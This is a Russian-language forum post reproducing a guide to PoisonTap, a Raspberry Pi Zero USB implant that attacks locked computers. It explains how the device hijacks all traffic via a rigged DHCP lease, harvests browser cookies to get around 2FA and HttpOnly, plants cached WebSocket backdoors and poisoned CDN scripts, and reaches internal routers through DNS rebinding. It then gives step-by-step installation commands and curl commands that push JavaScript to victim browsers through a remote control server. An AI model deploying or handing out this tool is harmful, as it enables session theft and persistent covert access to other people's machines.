Jump to content
Sign in to follow this  
mr.save

PoisonTap

Recommended Posts

PoisonTap — используя подключённый к USB Raspberry Pi Zero, эксплуатирует заблокированный/защищённый паролем компьютер, забрасывает постоянный, основанный на WebSocket бэкдор, оказывает воздействие на внутреннюю маршрутизацию, перекачивает кукиз. 

 

При подключении PoisonTap (Raspberry Pi Zero & Node.js) к заблокированному/защищённому паролю, аппаратно-программный комплекс: 

 

  • эмулирует Ethernet устройство через USB (или Thunderbolt) 
  • перехватывает весь Интернет-трафик с машины (не смотря на низкий приоритет/неизвестный сетевой интерфейс) 
  • перекачивает и сохраняет HTTP кукиз и сессии из веб-браузера для сайтов из первого миллиона самых популярных сайтов по Alexa 
  • показывает атакующему внутренний маршрут, делает его доступным удалённом 
  • предоставляет атакующему внутреннюю маршрутизацию, делает его доступной удалённо через исходящий WebSocket и повторно привязанный DNS 
  • устанавливает постоянный, основанный на веб бэкдор в HTTP кэш для сотен тысяч доменов и URL популярных сетей доставки контента (CDN), всё это осуществляется с доступом к пользовательским кукиз посредством травления кэша 
  • позволяет злоумышленнику удалённо заставить пользователя сделать HTTP запросы и проксировать обратные ответы (GET и POST) с пользовательскими кукиз на любом забэкдоренном домене 
  • не требует разблокировки машины 
  • бэкдоры и удалённый доступ сохраняются даже после отключения устройства и ухода злоумышленника 

PoisonTap обходит следующие механизмы безопасности: 

 

  • Защищённый паролем экран блокировки 
  • Приоритет таблицы маршрутизации и порядок служб сетевых интерфейсов 
  •  Правило ограничения домена 
  • X-Frame-Options 
  • HttpOnly Cookies 
  • Атрибут куки SameSite 
  • Двух факторную/Многофакторную аутентификацию (2FA/MFA) 
  • DNS закрепление 
  •  Cross-Origin Resource Sharing (CORS) 
  • Защиту HTTPS куки когда флаг Secure и HSTS не задействованы 

 Демонстрация PoisonTap 

PoisonTap встраивается в Raspberry Pi Zero без каких-либо дополнительных компонентов, кроме как кабель микро-USB и карты microSD; также может работать на любом Raspberry Pi (1/2/3) с переходником Ethernet-to-USB/Thunderbolt, или может работать на устройствах, которые могут эмулировать USB гаджеты, такие как Armory и LAN Turtle. 

Домашняя страница: https://samy.pl/poisontap/ 

Автор: Samy Kamkar 

 

Справка по PoisonTap 

 Как работает PoisonTap 

PoisonTap создаёт каскадный эффект за счёт использования существующего доверия в различных механизмах машины и сети, включая USB/Thunderbolt, DHCP, DNS и HTTP для воспроизведения эффекта снежного кома в эксфильтрации информации, сетевого доступа и установки полупостоянных бэкдоров. 

Если коротко, PoisonTap выполняет следующее: 

 Перехват сети 

Атакующий подключает PoisonTap (в специально подготовленной Raspberry Pi Zero) к заблокированному компьютеру (даже к компьютеру, защищённому паролем). 

PoisonTap эмулирует Ethernet устройстов (например, Ethernet через USB/Thunderbolt) — по умолчанию, Windows, OS X и Linux распознают ethernet устройстов, автоматически загружают его как низкоприоритетное сетевое устройство и выполняют через него DHCP запрос, даже если машина заблокирована или защищена паролем 

PoisonTap отвечает на DHCP запрос и предоставляет машине IP адрес, однако DHCP ответ сконструирован так, что сообщает машине, что всё пространство IPv4 (0.0.0.0 - 255.255.255.255) является частью локальной сети PoisonTap, а не маленькая подсеть (вроде 192.168.0.0 — 192.168.0.255) 

Обычно это не имело бы значения, поскольку вторичное сетевое устройство подключается к машине с более низким приоритетом, чем существующие (доверенные) сетевые устройства, и не заменяет шлюз для Интернет трафика, но… 

Любая таблица маршрутизации / шлюзовый приоритет / безопасность службы порядка сетевых интерфейсов обходятся благодаря приоритету "LAN трафика" над "Интернет трафиком" 

PoisonTap эксплуатирует этот сетевой доступ, даже в качестве сетевого устройства с низким приоритетом, поскольку подсети низкоприоритетного сетевого устройства даётся более высокий приоритет, чем шлюзу (маршруту по умолчанию) более высокоприоритетных сетевых интерфейсов 

Это означает, если трафик предназначен для 1.2.3.4, то при обычных условиях этот трафик отправился бы на дефолтный маршрут/шлюз главного (не-PoisonTap) сетевого устройства. На самом деле трафик получает PoisonTap, поскольку "локальная" сеть/подсеть предположительно содержит 1.2.3.4 и любой другой существующий IP адрес 😉 

Из-за этого, весь Интернет-трафик проходит через PoisonTap, даже если машина подключена к другому сетевому устройству с более высоким приоритетом и надлежащим шлюзом (истинный wifi, ethernet и т. д.) 

 

Перекачивание куки 

 

  • До тех пор, пока в фоне работает веб-браузер, то весьма вероятно, что одна из страниц будет выполнять в фоне HTTP запрос (к примеру, загружать новую рекламу, отправлять данные для платформы аналитики или просто продолжать отслеживать ваши веб-передвижения) через AJAX или динамичные script/iframe тэги 
  • Вы сами можете это увидеть, перейдите в панель разработчика/инспектора (обычно Cmd+Shift+I или Ctrl+Shift+I), зайдите на посещаемый веб-сайт, кликните на вкладке Сеть и посмотрите на то, как будет продолжаться доступ к удалённым ресурсам, даже если вы не выполняете никаких действий на странице 
  • После этого HTTP запроса, т. к. весь трафик выходит из устройства PoisonTap, PoisonTap на лету спуфит (подменяет) DNS ответы на свой собственный адрес, что приведёт к тому, что HTTP запросы будут отправлены на веб-сервер (Node.js) PoisonTap 
  • Если DNS сервер указывает на внутренний IP (LAN), на который у PoisonTap не хватает привилегий, атака продолжается для функционирования в качестве внутреннего DNS сервера, который воспроизведёт публичный IP адрес для различных атакуемых доменов, а публичные IP адреса PoisonTap уже перехватывает 
  • После того, как отвечает внутренний DNS сервер, веб-браузер попадает на публичный IP, в конечном счёте переходит на веб-сервер (Node.js) PoisonTap в любом сценарии 
  • Когда веб-сервер Node получает запрос, PoisonTap отвечает ответом, который может быть интерпретирован как HTML или Javascript, оба которых выполняются должным образом (многие веб-сайты будут загружать HTML или JS в фоновых запросах) 
  • Страница HTML/JS-агностик затем вырабатывает много скрытых iframe, каждый iframe на различный домен из списка миллион самых посещаемых сайтов по Alexa 
  • Любая ограничения "X-Frame-Options" обходятся, поскольку PoisonTap теперь является HTTP сервером и выбирает, какие заголовки отправлять клиенту 
  • При каждом iframe HTTP запросе к сайту (например, http://nfl.com/PoisonTap), HTTP cookies отправляются от браузера на "публичный IP", перехваченный PoisonTap, которая быстро записывает в журнал кукиз/информацию аутентификации, записывает десятки тысяч пользовательских кукиз в PoisonTap 
  • Любые "HttpOnly" для безопасности куки обходятся, и эти куки захватываются, так как на самом домене не выполняется Javascript, он используется, в первую очередь, только для загрузки iframe 
  • Любые политики безопасности Cross-Origin Resource Sharing или Same-Origin Policy обходятся, поскольку домен, к которому осуществляется доступ, представляется браузеру легитимным 
  • Поскольку мы захватываем кукиз, а не учётные данные, любые реализации 2FA/MFA на этом сайте обходятся, когда атакующий использует куки для входа. Это от того, что мы в действительности не осуществляем функцию входа, а скорее продолжаем сессию, созданную при легитимном входе, что не вызывает срабатывание двухфакторной аутентификации 
  • Если сервер использует HTTPS, но для кукиз явным образом не установлен флаг Secure, HTTPS защита обходится и куки отправляются на PoisonTap 

 

 Удалённый доступ через веб-бэкдоры 

 

  • Пока PoisonTap воспроизводит тысячи PoisonTap, принуждая браузер загружать каждый из них, эти iframe совсем не являются не являются просто пустыми страницами, это скорее HTML+Javascript бэкдоры, которые кэшируются на неопределённый срок 
  • Поскольку PoisonTap принудительно кэширует эти бэкдоры на каждом домене, бэкдоры привязаны к этим доменам, дают возможность атакующему использовать кукиз домена для запуска в дальнейшем запросов same-origin, даже если пользователь в данный момент не произвёл вход 
  • Например, когда загружается iframe http://nfl.com/PoisonTap, PoisonTap принимает отклонённый Интернет-трафик, отвечает на HTTP запрос через веб-сервер Node 
  • Дополнительные HTTP заголовки добавляются для кэширования страницы на неопределённый срок 
  • Фактически ответ страницы является комбинацией HTML и Javascript, который создаёт постоянный WebSocket на веб-сервер атакующего (через Интернет, не через устройство PoisonTap) 
  • WebSocket остаётся открытым, позволяя злоумышленнику, в любой момент в будущем, обратно подключиться к забэкдоренной машине и выполнить запросы через любой источник, который имеет реализованный бэкдор (сайты Alexa top 1,000,000 — смотрите ниже) 
  • Если бэкдор открыт на сайте (например, nfl.com), но пользователь желает атаковать другой домен (например, pinterest.com), злоумышленник может загрузить iframe на nfl.com для бэкдора pinterest.com (http://pinterest.com/PoisonTap) 
  • Опять, любые безопасности "X-Frame-Options", Cross-Origin Resource Sharing, и Same-Origin Policy на доменах полностью обходятся, поскольку запросы вызовут кэш, который оставил PoisonTap, а не истинный домен 

7czgWbiAdEc.jpg.0701fd9bdbf0eace865a31252f48c81a.jpg

 Бэкдор внутреннего маршрута и Удалённый доступ 

 

  • Одна сеть PoisonTap не способна захватить фактическую LAN подсеть истинного сетевого интерфейса (например, если подсеть пользовательского wifi это 192.168.0.x, эта сеть невосприимчива), но… 
  • PoisonTap принудительно кэширует бэкдор на специальный хост, в частности IP целевого роутера предваряется ".ip.samy.pl", например, 192.168.0.1.ip.samy.pl, по существу, производиться атака стойкой подмены DNS 
  • При использовании PoisonTap в качестве DNS сервера (жертва, использующая публичный DNS сервер), PoisonTap отвечает специализированным временным IP (1.0.0.1), означающий в данный момент любые запросы будут переданы на веб-сервер PoisonTap 
  • Если вместо DNS сервера настроено на внутреннюю сеть (например, 192.168.0.x), дополнительный специально сконструированный запрос делается на 1.0.0.1.pin.ip.samy.pl, который говорит моему специализированному серверу DNS (в публичном Интернете) временно реагировать на любые [ip.address].ip.samy.pl адреса с "приколотым" адресом (1.0.0.1) в течение нескольких секунд 
  • Затем PoisonTap быстро устанавливает бэкдор на http://192.168.0.1.ip.samy.pl/PoisonTap, который на мгновение направляет на устройство PoisonTap на 1.0.0.1, получить доступ и кэшировать бэкдор с устройства PoisonTap 
  • Прикалывание (pinning) DNS и переназначение (rebinding) DNS в обход ограничений возможно благодаря израсходованию таблицы соответствий DNS из-за сотен тысяч запросов., которые предварительно осуществляются, и в будущем не должна произойти перепривязка, что сохраняет эффект от этой атаки на длительный период времени 
  • Теперь, когда бэкдор принудительно хеширован на http://192.168.0.1.ip.samy.pl/PoisonTap, любые будущие запросы на 192.168.0.1.ip.samy.pl будут вызывать не прикреплённый IP адрес, что приведёт к преобразованию 192.168.0.1 вместо прямого направления на роутер 
  • Это означает, если удалённо через бэкдор загружается хост 192.168.0.1.ip.samy.pl/PoisonTap в iframe, теперь вы можете выполнять AJAX GET/POST на любые другие страницы на внутреннем роутере, полностью удалённо, т. е. даётся удалённый доступ к внутреннему роутеру. 
  • Это может привести к другим атакам на роутер, к которым в ином случае атакующий никогда бы не имел доступ, таким как использование дефолтных учётных данных администратора роутера для перезаписи DNS серверов или открывая другие уязвимости аутентификации 

82cs9s4d8ho.jpg.03f2371e702f511f034c28e9295f3df6.jpg

Recap DNS сервера: 

[ip.addy].ip.samy.pl обычно отвечает с [ip.addy] 
192.168.0.1.ip.samy.pl -> 192.168.0.1 (A record) 
[ip.addy].pin.ip.samy.pl временно (~5 секунд) указывает *.ip.samy.pl to [ip.addy] 
1.0.0.1.pin.ip.samy.pl -> 1.0.0.1 
192.168.0.1.ip.samy.pl -> 1.0.0.1 (A record, short TTL) 
(после ~5 секунд) 
192.168.0.1.ip.samy.pl -> 192.168.0.1 (A record) 

 Дополнительные доступные удалённо веб-бэкдоры 

  • Дополнительно PoisonTap заменяет тысячи популярных, основанных на CDN, Javascript файлов, например CDN от Google и jQuery, корректным кодом плюс бэкдором, который даёт злоумышленнику доступ на любой загружаемый домен с инфицированным файлов Javascript из CDN 
  • Поскольку бэкдор оставляется на каждом домене, это позволяет атакующему удалённо принуждать забэкдоренный браузер выполнять запросы same-origin (AJAX GET/POST), на, теоретически, любом крупном домене, даже если жертва в текущий момент не имеет в данный момент открытых окон на этом домене. 
  • Теперь бэкдор будет жить на любом дополнительном сайте, который также использует один из инфицированных, основанных на HTTP, фреймворков CDN Javascript при посещении жертвой сайта 

uHLabx8kiCw.jpg.d7943751883e7bcfa3d32438f4236a86.jpg

Установка PoisonTap 

 Загрузка PoisonTap 

Исходный код: https://github.com/samyk/poisontap 

git clone https://github.com/samyk/poisontap.git

Установка / Размещение файлов

# Инструкция адаптированна из https://gist.github.com/gbaman/50b6cca61dd1c3f88f41
sudo bash
 
# Если Raspbian ДО 2016-05-10, тогда запустите следующую строку:
BRANCH=next rpi-update
 
echo -e "\nauto usb0\nallow-hotplug usb0\niface usb0 inet static\n\taddress 1.0.0.1\n\tnetmask 0.0.0.0" >> /etc/network/interfaces
echo "dtoverlay=dwc2" >> /boot/config.txt
echo -e "dwc2\ng_ether" >> /etc/modules
echo "/bin/sh /home/pi/poisontap/pi_startup.sh" >> /etc/rc.local
mkdir /home/pi/poisontap
chown -R pi /home/pi/poisontap
apt-get update && apt-get upgrade
apt-get -y install isc-dhcp-server dsniff screen nodejs

Поместите dhcpd.conf в /etc/dhcp/dhcpd.conf, а остальные файлы в /home/pi/poisontap, затем перезагрузите, чтобы убедиться, что всё работает. 

В репозитории присутствует ряд файлов, которые имеют различное применение. Их перечень: 

  •  backdoor.html — Всякий раз, когда происходит переход по URL http://hostname/PoisonTap для эксфильтрации кукиз, этот файл возвращается в качестве содержимого для принудительного кэширования. Он содержит бэкдор, который создаёт исходящий websocket на samy.pl:1337 (настраивается на любой хост/порт), который остаётся открытым для команд с сервера. Это означает, когда вы загружаете iframe на сайте, такой как http://hostname/PoisonTap, будет заполнено этим содержимым (даже после удаления из машины PoisonTap). 
  •  backend_server.js — это сервер Node.js, который вы запускаете на вашем доступном из Интернета сервере. Это то, к чему подключается backdoor.html (например, samy.pl:1337). Этот тот же сервер, к которому вы подключаетесь для отправки команд для ваших любимых машин, в которые вы ранее втыкали PoisonTapp, например 
# всплывающее окно для жертвы
curl 'http://samy.pl:1337/exec?alert("muahahahaha")'
# установка кукиз для жертвы
curl 'http://samy.pl:1337/exec?document.cookie="key=value"'
# принудить жертвы загружить url через ajax (помните, jQuery сохранён внутри бэкдора)
curl 'http://samy.pl:1337/exec?$.get("http://192.168.0.1.ip.samy.pl/login",function(d)\{console.log(d)\})'

 pi_poisontap.js — Он запускается через Node.js на Raspberry Pi Zero и является HTTP сервером, ответственным за обработку любых HTTP запросов, перехватываемых PoisonTap, сохранение перекаченных кукиз и внедрение кэшированных бэкдоров. 

 pi_startup.sh — Он запускается при старте Raspberry Pi Zero, чтобы настроить и поднять эмулятор гаджета Ethernet-over-USB, поднять наш злой DHCP сервер, позволить перенаправлять трафик, DNS спуфинг и запустить описанный выше pi_poisontap.js. 

 target_backdoor.js — Это файл, добавляемый к любым связанным с CDN Javascript файлам, таким образом забэкдоривая их, например, CDN jQuery URL от Google. 

 target_injected_xhtmljs.html — Это код, который внедряется в непреднамеренные/фоновые HTTP/AJAX запросы на машине жертвы и запускает всю атаку. Он сконструирован таким образом, что он может быть интерпретирован как HTML или как Javascript, и при этом исполняет тот же код. В нём же HTML5 canvas, который можно наблюдать в демонстрации, когда страницы пропускаются через PoisonTap. 

 poisontap.cookies.log — Этот файл генерируется после начала отправки HTTP зоапросов с пользовательской машины на PoisonTap, в нём сохраняются куки из браузера вместе с ассоциированным URL/доменом, которому они принадлежат. 

Инструкции по PoisonTap 

Подробнейшая инструкция по установке PoisonTap начиная с прожига прошивки Raspbian 

 Часть 1 

1. Прожгите Raspbian Jessie full или Raspbian Jessie Lite на SD карту (https://www.raspberrypi.org/downloads/raspbian/). 

2. После прожига Raspbian, откройте загрузочный раздел (в Windows Explorer, Finder и т. д.) и добавьте в конец файла config.txt новую строку 

dtoverlay=dwc2

и сохраните файл. 

3. И, наконец, откройте cmdline.txt. Будьте осторожны с этим файлом, он очень чувствителен к форматированию! Каждый параметр разделяется одиночный пробелом (он не использует новые строки). Вставьте 

modules-load=dwc2,g_ether

после 

rootwait

Для сравнения, отредактированную версию файла cmdline.txt 

Вот и всё, извлеките SD карту из вашего компьютера, поместите её в ваш Raspberry Pi Zero и подключите через USB к вашему компьютеру. Понадобиться до 90 секунд для загрузки (меньше при последующих загрузках). Должно появиться USB Ethernet устройство. Вы можете подключиться к нему по SSH используя raspberrypi.local в качестве адреса. 

 Часть 2 

1. Войдите по ssh в ваш RaspberryPi с 

ssh pi@[RASPBERRY_IP]

(пароль по умолчанию «raspberry») 

2. Установите необходимые инструменты запустив 

sudo apt-get install dsniff isc-dhcp-server nodejs screen 

(NodeJS может уже быть установлен) 

3. Теперь нам нужно настроить рабочую облать. Перейдите в домашнюю директорию pi 

cd /home/pi/ 

затем загрузите PoisonTap 

git clone https://github.com/samyk/poisontap.git 

4. Установите скрипт запуска

sudo cp /home/pi/poisontap/pi_startup.sh /etc/init.d/ && sudo chmod +x /etc/init.d/pi_startup.sh 

Также нам нужно запустить pi_startup.sh во время загрузки: 

sudo nano /etc/rc.local 

и добавьте 

/etc/init.d/pi_startup.sh & 

ПРЯМО ПЕРЕД 

exit 0 

Сделайте настройку DHCP: PoisonTap предоставляет конфигурационный файл, просто наберите 

sudo cp /home/pi/poistontap/dhcpd.conf /etc/dhcp/dhcpd.conf 

Далее нам нужно установить usb0 интерфейс 

echo -e "\nauto usb0\nallow-hotplug usb0\niface usb0 inet static\n\taddress 1.0.0.1\n\tnetmask 0.0.0.0" >> /etc/network/interfaces 

(Если у вас появилась ошибка о запрещённом доступе даже с sudo, то просто запустите 

 su 

наберите пароль рута. Если вы не знаете этот пароль, запустите 

passwd root 

и выберите безопасный пароль). Когда вы вошли под рутом, запустите команду снова. Не забудьте выйти из сессии рута когда вы закончите. 

 Часть 3 

Вы можете отключить все кабели вашей RPi и затем подключить её к целевому компьютеру. (Тупое напоминание: Используйте `OTG raspberry's port`, а не `PWR`). 

Подождите несколько секунд и попробуйте загрузить `http://nfl.com` в браузере. Все HTTP запросы будут записаны в RPi в /home/pi/poisontap/poisontap.cookies.log.

Share this post


Link to post

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

Sign in to follow this  

×
×
  • Create New...